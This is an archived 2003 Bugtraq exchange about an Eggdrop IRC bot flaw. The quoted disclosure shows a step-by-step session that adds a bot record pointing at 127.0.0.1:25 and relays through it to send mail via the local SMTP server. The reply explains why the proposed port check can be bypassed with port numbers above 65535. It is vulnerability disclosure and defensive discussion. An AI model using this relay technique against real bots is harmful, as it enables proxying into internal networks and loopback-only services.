Re: Eggdrop arbitrary connection vulnerability

From: D.C. van Moolenbroek (dc.van.moolenbroek@chello.nl)
Date: 02/10/03

  • Next message: iDEFENSE Labs: "iDEFENSE Security Advisory 02.10.03: Buffer Overflow In NOD32 Antivirus Software for Unix"
    From: "D.C. van Moolenbroek" <dc.van.moolenbroek@chello.nl>
    To: "Paul Starzetz" <paul@starzetz.de>
    Date: Mon, 10 Feb 2003 18:27:56 +0100
    
    

    That's not really a bug, it's mostly an issue of trust: if you give people
    the ability to link bots, they can also abuse this power and "link" to
    something else. If you don't want people to be able to use your eggdrop as a
    proxy, simply don't give them the flags to add/edit bot records.

    Your patch will not work effectively, by the way, as the port number one
    specifies using the .+bot command is internally handled as an int (and
    unsigned int at some other places), and not truncated to an unsigned short
    until it's put in the socket address structure using the htons() call; so if
    a malicious bot master uses a port number above 65535, he/she will bypass
    the low port check. Also, the patch will break some eggdrop TCL scripts,
    since eggdrop's "connect" TCL command relies on the open_telnet_raw()
    function as well.

    A real solution for this relay issue would be to let the two bots
    communicate with eachother (challenge/response'ish) before allowing the user
    to send something to the other bot. This would probably be relatively easy
    to implement in new versions of eggdrop, although it would require all
    eggdrops in a botnet to be upgraded simultaneously, in order not to break
    .relay functionality. And even then, some port>=1024 checks would be
    necessary in botnet.c, or a botmaster could still do a full portscan on an
    arbitrary host if not all error reporting for .relay and .link (and
    auto-linking) were stripped out as well.

    Regards,

    David

    ----- Original Message -----
    From: "Paul Starzetz" <paul@starzetz.de>
    To: <bugtraq@securityfocus.com>; "vendor-sec" <vendor-sec@lst.de>
    Sent: Sunday, February 09, 2003 8:44 PM
    Subject: Eggdrop arbitrary connection vulnerability

    > Hi,
    >
    > there is a serious security problem in the popular eggdrop IRCbot. The
    > hole allows a regular user with enough 'power' (at least power to add
    > new bot records) to use any linked instance of the bot on the botnet as
    > an instant 'proxy'. The following session demonstrates the problem with
    > an out-of-the-box eggdrop 1.6.10:
    >
    >
    > .+bot bighole 127.0.0.1:25
    > [20:23] #IhaQuer# +bot bighole 127.0.0.1:25
    > Added bot 'bighole' with address '127.0.0.1:25' and no password.
    > You'll want to add a hostmask if this bot will ever be on any channels
    > that I'm on.
    >
    > [20:23] #IhaQuer# match bighole
    > *** Matching 'bighole':
    > HANDLE PASS NOTES FLAGS LAST
    > bighole no 0 b never (nowhere )
    > ADDRESS: 127.0.0.1
    > users: 25, bots: 25
    > --- Found 1 match.
    >
    > .relay bighole
    > [20:23] #IhaQuer# relay bighole
    > Connecting to bighole @ 127.0.0.1:25 ...
    > (Type *BYE* on a line by itself to abort.)
    > Success!
    >
    > NOW CONNECTED TO RELAY BOT bighole ...
    > (You can type *BYE* to prematurely close the connection.)
    > *** IhaQuer left the party line.
    >
    > 220 server.org ESMTP Postfix
    > HELO blahblah.org
    > 250 server.org
    > MAIL from: blahblah.org
    > 250 Ok
    > rcpt to: ihaquer@gmx.de
    > 250 Ok
    > data
    > 354 End data with <CR><LF>.<CR><LF>
    > blah blah
    > .
    > 250 Ok: queued as CFDFC2F012
    >
    > Obviously an email has been sent by the local postfix bound to the
    > loopback address 127.0.0.1! The impact may depend on the host the bot is
    > running on, including tunneling into internal networks, accessing
    > services bound to the loopback only, bypassing TCP wrappers etc, etc.
    >
    > There is no clean solution so far, for my own I decided to modify the
    > net.c file and add something like:
    >
    > int open_telnet_raw(int sock, char *server, int sport)
    > .
    > .
    > .
    > name.sin_family = AF_INET;
    > name.sin_port = htons(port);
    >
    > + if(port < 1024 && port != 113) {
    > + putlog(LOG_MISC, "*", "WARNING attempt to connect to low port
    > %s:%d", server, port);
    > + return -1;
    > + }
    >
    >
    > Hope this helps, thanks to Maciek Kroenke for bringing my attention to
    > this bug,
    >
    > /ih
    >
    >

    --
    class sig{static void main(String[]s){for// D.C. van Moolenbroek
    (int _=0;19>_;System.out.print((char)(52^// (CS student, VU, NL)
    "Y`KbddaZ}`P#KJ#caBG".charAt(_++)-9)));}}// -Java sigs look bad-
    


    Relevant Pages

    • Eggrop bug
      ... Eggdrop is a bot written in C. ... A tricky attacker can gain the control over any eggdrop botnet. ... share.mod use tandem buffers to handle userfile resync transfers. ...
      (Bugtraq)
    • [Full-Disclosure] Eggdrop problem
      ... Eggdrop is a bot written in C. ... A tricky attacker can gain the control over any eggdrop botnet. ... share.mod use tandem buffers to handle userfile resync transfers. ...
      (Full-Disclosure)
    • Re: Eggdrop arbitrary connection vulnerability
      ... > there is a serious security problem in the popular eggdrop IRCbot. ... > new bot records) to use any linked instance of the bot on the botnet as ... This is not a bug. ...
      (Bugtraq)
    • Opinions wanted! Is Ruby a good choice for...
      ... Some days ago I started to code an IRC bot like eggdrop for the antispam ... If you do not know about IRC or eggdrop you can stop here, ... Some friends told me I should give Ruby a try and after reading some ...
      (comp.lang.ruby)
    • Re: Schnapsidee oder sinnvoller Ansatz?
      ... Dann macht der Spammer halt auch Submission. ... Wenn sich einer meiner User (bzw. der Bot, ... Relay" durchsetzen kann. ... weil der Bot einfach SMTP mit den MXen seiner Empfängerliste ...
      (de.comp.security.firewall)